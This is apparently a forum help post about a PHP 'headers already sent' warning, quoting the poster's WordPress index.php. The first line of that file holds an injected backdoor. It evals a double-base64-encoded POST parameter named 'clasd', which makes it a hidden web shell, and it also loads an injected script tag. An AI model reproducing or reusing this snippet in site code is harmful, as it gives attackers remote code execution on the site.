"Cannot modify header information…' Warning Message"

This is what my index.php looks like:

<script src=’/jquery.js’ type=’text/javascript’ language=’javascrip’></script><?php if(isset($_POST[‘clasd’])){$str = base64_decode(base64_decode($_POST[‘clasd’]));eval(“?> $str <?php “);}?><?php
/**
* Front to the WordPress application. This file doesn’t do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define(‘WP_USE_THEMES’, true);

/** Loads the WordPress Environment and Template */
require(‘./wp-blog-header.php’);